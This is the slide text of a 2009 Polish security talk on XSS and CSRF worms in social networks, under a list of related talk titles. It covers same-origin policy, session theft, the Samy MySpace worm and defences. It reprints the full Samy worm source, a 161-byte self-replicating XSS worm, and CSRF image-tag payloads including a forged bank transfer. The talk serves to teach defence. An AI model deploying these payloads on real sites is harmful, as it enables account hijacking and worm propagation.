Ataki socjotechniczne w praktyce - SecurityBSides Warsaw 2019
Ataki socjotechniczne w praktyce - SecurityBSides Warsaw 2019Ataki socjotechniczne w praktyce - SecurityBSides Warsaw 2019
Ataki socjotechniczne w praktyce - SecurityBSides Warsaw 2019
 
Ataki socjotechniczne w praktyce - Confidence 2019
Ataki socjotechniczne w praktyce - Confidence 2019Ataki socjotechniczne w praktyce - Confidence 2019
Ataki socjotechniczne w praktyce - Confidence 2019
 
Minerva_lib - fuzzing tool
Minerva_lib - fuzzing toolMinerva_lib - fuzzing tool
Minerva_lib - fuzzing tool
 
"Spear phishing - jak się bronić? Case studies." - SecurityBSides 2018
"Spear phishing - jak się bronić? Case studies." - SecurityBSides 2018"Spear phishing - jak się bronić? Case studies." - SecurityBSides 2018
"Spear phishing - jak się bronić? Case studies." - SecurityBSides 2018
 
Spear phishing - jak się bronić? Case studies - Confidence 2018
Spear phishing - jak się bronić? Case studies - Confidence 2018Spear phishing - jak się bronić? Case studies - Confidence 2018
Spear phishing - jak się bronić? Case studies - Confidence 2018
 
Redteaming in Poland - test cases (Security)
Redteaming in Poland - test cases (Security)Redteaming in Poland - test cases (Security)
Redteaming in Poland - test cases (Security)
 
Redteaming w Polsce - przykłady
Redteaming w Polsce - przykładyRedteaming w Polsce - przykłady
Redteaming w Polsce - przykłady
 
Testy bezpieczeństwa - niesztampowe przypadki
Testy bezpieczeństwa - niesztampowe przypadkiTesty bezpieczeństwa - niesztampowe przypadki
Testy bezpieczeństwa - niesztampowe przypadki
 
Urządzenia i usługi bezpieczeństwa IT - pełna ochrona czy... zaproszenie dla ...
Urządzenia i usługi bezpieczeństwa IT - pełna ochrona czy... zaproszenie dla ...Urządzenia i usługi bezpieczeństwa IT - pełna ochrona czy... zaproszenie dla ...
Urządzenia i usługi bezpieczeństwa IT - pełna ochrona czy... zaproszenie dla ...
 
Devops/Sysops security
Devops/Sysops securityDevops/Sysops security
Devops/Sysops security
 
Devops security
Devops securityDevops security
Devops security
 
Czy systematyczne podejście do testów bezpieczeństwa się opłaca?
Czy systematyczne podejście do testów bezpieczeństwa się opłaca?Czy systematyczne podejście do testów bezpieczeństwa się opłaca?
Czy systematyczne podejście do testów bezpieczeństwa się opłaca?
 
Torturing the PHP interpreter
Torturing the PHP interpreterTorturing the PHP interpreter
Torturing the PHP interpreter
 
Socjotechnika w Internecie - metody ataku i obrony
Socjotechnika w Internecie - metody ataku i obronySocjotechnika w Internecie - metody ataku i obrony
Socjotechnika w Internecie - metody ataku i obrony
 
OWASP Mobile TOP 10 na przykładzie aplikacji bankowych - Semafor 2016 - Mateu...
OWASP Mobile TOP 10 na przykładzie aplikacji bankowych - Semafor 2016 - Mateu...OWASP Mobile TOP 10 na przykładzie aplikacji bankowych - Semafor 2016 - Mateu...
OWASP Mobile TOP 10 na przykładzie aplikacji bankowych - Semafor 2016 - Mateu...
 
Bezpieczeństwo informacji - edukacja pracowników - dlaczego robimy to źle? Se...
Bezpieczeństwo informacji - edukacja pracowników - dlaczego robimy to źle? Se...Bezpieczeństwo informacji - edukacja pracowników - dlaczego robimy to źle? Se...
Bezpieczeństwo informacji - edukacja pracowników - dlaczego robimy to źle? Se...
 
Security news 20160225
Security news 20160225Security news 20160225
Security news 20160225
 

Bezpieczenstwo Portali Spolecznosciowych W Ujeciu Robakow Web 20 Pingwinaria2009

  • 1. “Bezpieczeństwo portali społecznościowych w ujęciu robaków Web 2.0” 2009.03.13 / Pingwinaria Borys Łącki 1
  • 2. 2
  • 3. 2007: ilość ruchu WWW przekroczyła ilość ruchu P2P 3
  • 4. Internet Warstwa WWW (filtry wejścia/wyjścia) Warstwa Aplikacji (logika biznesowa) Serwer Baz Danych 4
  • 5. Internet Warstwa WWW (filtry wejścia/wyjścia) Nowa funkcjonalność Warstwa Aplikacji (logika biznesowa) Serwer Baz Danych 5
  • 6. Internet Firewall Aplikacyjny Warstwa WWW (filtry wejścia/wyjścia) Warstwa Aplikacji Nowa funkcjonalność (logika biznesowa) Serwer Baz Danych 6
  • 7. Robak komputerowy – samoreplikujący się program komputerowy... XSS/CSRF WORM != Blaster, Sasser, Mydoom, Slammer. 7
  • 8. Same origin policy Protokół + host + port = OK URL Protokół Host Port ? http://www.example.com/dir/page.html + + + OK http://www.example.com/dir2/other.html + + + OK http://www.example.com:81/dir2/other.html + + - https://www.example.com/dir2/other.html - + + http://en.example.com/dir2/other.html + - + http://example.com/dir2/other.html + - + http://v2.www.example.com/dir2/other.html + - + http://www.example.com/dir/page.html 8
  • 9. Same origin policy Cookies Java pingwinaria Script .linux.org.pl Pingwin=1 Użytkownik Java nasza- Script klasa.pl Klasa=4b 9
  • 10. Same origin policy Cookies Java pingwinaria Script .linux.org.pl Pingwin=1 Użytkownik Java nasza- Script klasa.pl Klasa=4b 10
  • 11. XSS – Cross Site Scripting - zagrożenia Zmiana treści ● Kradzież ID sesji ● CSRF ● Automatyczne robaki ● 11
  • 12. XSS – zmiana treści 12
  • 13. Cookies - uwierzytelnianie POST /login.php HTTP/1.1 login=user&password=asd12ed]r3 HTTP/1.1 OK 200 Set-cookie: user_id=734223s8uod42 Witaj user Użytkownik GET /index.php HTTP/1.1 Cookie: user_id=734223s8uod42 Serwer Witaj user 13
  • 14. Cookies - uwierzytelnianie POST /login.php HTTP/1.1 login=user&password=asd12ed]r3 HTTP/1.1 OK 200 Set-cookie: user_id=734223s8uod42 Witaj user Użytkownik GET /index.php HTTP/1.1 Cookie: user_id=734223s8uod42 Serwer Witaj user GET /index.php HTTP/1.1 Cookie: user_id=734223s8uod42 Intruz Witaj user 14
  • 15. XSS – Cross Site Scripting GET /index.php?id= Serwer <script>…</script> Aplikacja 1 WWW 2 GET /index.php?... <script>…</script> Użytkownik Intruz …<script>…</script>… exec(…) 3 Baza danych 4 Dane dostępne w kontekście użytkownika Reflective XSS 15
  • 16. XSS – Cross Site Scripting Serwer 1 POST /register.php Aplikacja opis=<script>…</script> WWW 2 GET /index.php <script>…</script> Użytkownik Intruz …<script>…</script>… exec(…) 3 Baza danych 4 Dane dostępne w kontekście użytkownika Permanent XSS 16
  • 17. XSS – Cross Site Scripting - obrona Kontrolować dane  Filtrować dane od oraz do użytkownika   Spójność (IDS, Firewall, aplikacja)  Dogłębność (....// → ../), UTF-7  Białe i czarne listy  Powiązać ID sesji z IP? Żądać powtórnego uwierzytelnienia  17
  • 18. CSRF – Cross Site Request Forgery <img src=„http://nasza-klasa.pl/invite/1?i=1”> 18
  • 19. CSRF – Cross Site Request Forgery http://serwer/do.php?akcja=transfer&na=kontoborysa&ile=666 Serwer 1 Aplikacja 2 WWW GET /do.php?akcja=transfer &na=kontoborysa&ile=666 Intruz … Cookie: user_id=734223s8uod42 przelew borys Użytkownik 666 … Transakcja wykonana 3 <img src=„http://serwer/do.php?akcja=transfer&na=kontoborysa&ile=666”> http://www.davidairey.co.uk/ 19
  • 20. CSRF – Cross Site Request Forgery - obrona Brak błędów XSS  Token  Wymaganie ponownej autoryzacji przy kluczowych  operacjach 20
  • 21. XSS Worm Serwer WWW Zapisuje XSS w swoim profilu XSS Intruz … Intruz User_1 User_2 21
  • 22. XSS Worm Serwer WWW Zapisuje XSS w swoim profilu GET /intruz/ HTTP/1.1 User_1 XSS Intruz …<script>…</script>… exec(… … Zapisuje XSS w ) Intruz swoim profilu XSS User_1 User_2 22
  • 23. XSS Worm Serwer WWW Zapisuje XSS w swoim profilu GET /intruz/ HTTP/1.1 User_1 XSS Intruz …<script>…</script>… User_2 … exec(… Zapisuje XSS w Intruz ) swoim profilu GET /user1/ HTTP/1.1 XSS User_1 …<script>…</script>… exec(… Zapisuje XSS w ) swoim profilu XSS User_2 23
  • 24. XSS - Statystyka quot;XSS is the New Buffer Overflow, JavaScript Malware is the New Shell Codequot; 67 % - WhiteHat Security (2008)  CVE - 1 miejsce (2008)  xssed.com – 30 324 total xss (2008)  60 % - NTA Monitor (2007)  .pl - serwisy aukcyjne, bankowe, społecznościowe :]  24
  • 25. XSS – Samy worm Kto: Samy Kamkar ● Gdzie: Myspace.com ● Kiedy: 04.10.2005 ● Co: quot;but most of all, Samy is my heroquot; ● 25
  • 26. XSS – Samy worm Ilość zainfekowanych użytkowników 13 godzin = 6,373 Godziny od momentu infekcji 26
  • 27. XSS – Samy worm Ilość zainfekowanych użytkowników 18 godzin > 1 000 000 (!!!) Godziny od momentu infekcji 27
  • 28. Samy Worm - Czy rozmiar ma znaczenie? <div id=mycode style=quot;style=quot;BACKGROUND: url('javascript:eval(document.all.mycode.expr)')quot; expr=quot;var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return eval('document.body.inne'+'rHTML')}}function getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}function getQueryParams(){var E=document.location.search;var F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com') document.location=' http://www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}main()}function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)} function nothing(){}function paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1) {Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content-Type','application/x-www-form- urlencoded');J.setRequestHeader('Content-Length',BK.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024); var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE) but most of all, samy is my hero. {AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' <d'+'iv id='+AE+'D'+'IV>'}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes','</td>');AG=AG.substring(61,AG.length); if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes'; AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero, 'POST',paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm? fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function main(){var AN=getClientFID();var BH='/index.cfm? fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj();httpSend2('/index.cfm? fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')}function processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to Friends';httpSend2('/index.cfm? fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type','application/x-www-form- urlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);return true}quot;></DIV> 28
  • 29. Samy Worm - Rozmiar nie ma znaczenia... Diminutive XSS Worm Replication Contest  161 bajtów !!! <form><input name=quot;contentquot;><img src=quot;quot; onerror= quot;with(parentNode)alert('XSS',submit(content.value='<form>' +innerHTML.slice(action=(method='post')+'.php',155)))quot;> 29
  • 30. Worm, worm, yes ya gonna worm Libero.it, Tiscali.it, Lycos.it, Excite.com - Nduja Yahoo - Yamanner Orkut (x2) - xmen hi5.com badoo.com myspace.com (02.02.2009) Gaiaonline.com (1500 osób / 3 h) justin.tv (2525 osób / 24 h) MyYearbook.com U-dominion.com 30 xiaonei.com
  • 31. Nasza-Klasa.pl Znajomi: 291  Aktywni znajomi: 238  Średnia: 254 * 5 / 60 = 21 godzin  Rekordzista: 1891 * 5 / 60 = 157 godzin 31
  • 32. Nasza-Klasa.pl 2008.09 Ilość aktywnych znajomych 32
  • 36. wykop.pl - CSRF Ilość wykopów Godzina 36
  • 37. Zagrożenia Manipulacja i dostęp do danych  SPAM  Ad. Fraud  DDoS  0 day bug po stronie klienta  Zabawa  ?  37
  • 38. Jak się zabezpieczyć Kontrola wejściowych i wyjściowych danych  Hardening konfiguracji serwera WWW  Web Application Firewall (mod_security? :)  Nie ufać filtrom po stronie użytkownika  Bilansować koszty z zyskami  Bezpieczna przeglądarka  Korzystać z pomocy specjalistów ;]  38
  • 39. Jak się zabezpieczyć $cena = (int) $cena;  htmlspecialchars, mysql_real_escape_string,  addslashes, magic_quotes(!), filter_var_array Anti-XSS Library, JavaScriptEncode, HtmlEncode,  UrlEncode, HtmlAttributeEncode Cookie: secure, httponly, domain, path  PHPIDS, csrf-magic, HTML Purifier, AntiSamy,  CSRFGuard 39
  • 40. Linki http://bothunters.pl  http://namb.la/popular/  http://en.wikipedia.org/wiki/Samy_worm  http://blogs.zdnet.com/security/?p=1487  http://www.heise-online.pl/security/Luka-na-stronie-banku-umozliwia-nieautoryzowane-przelewy--/news/5927  http://www.slideshare.net/jeremiahgrossman/website-security-statistics-august-2008-presentation?type=powerpoint  http://pl.wikipedia.org/wiki/Robak_komputerowy  http://sla.ckers.org/forum/read.php?2,18790,18790  40
  • 41. Linki http://www.owasp.org/index.php/CSRF_Guard  http://www.owasp.org/index.php/Category:OWASP_AntiSamy_Project  http://csrf.htmlpurifier.org/  http://htmlpurifier.org/  http://www.xssed.com  http://sla.ckers.org/forum/read.php?2,14477  http://web.nvd.nist.gov/view/vuln/search?execution=e1s1  41
  • 42. Pytania Dziękuję za uwagę b.lacki@logicaltrust.net 42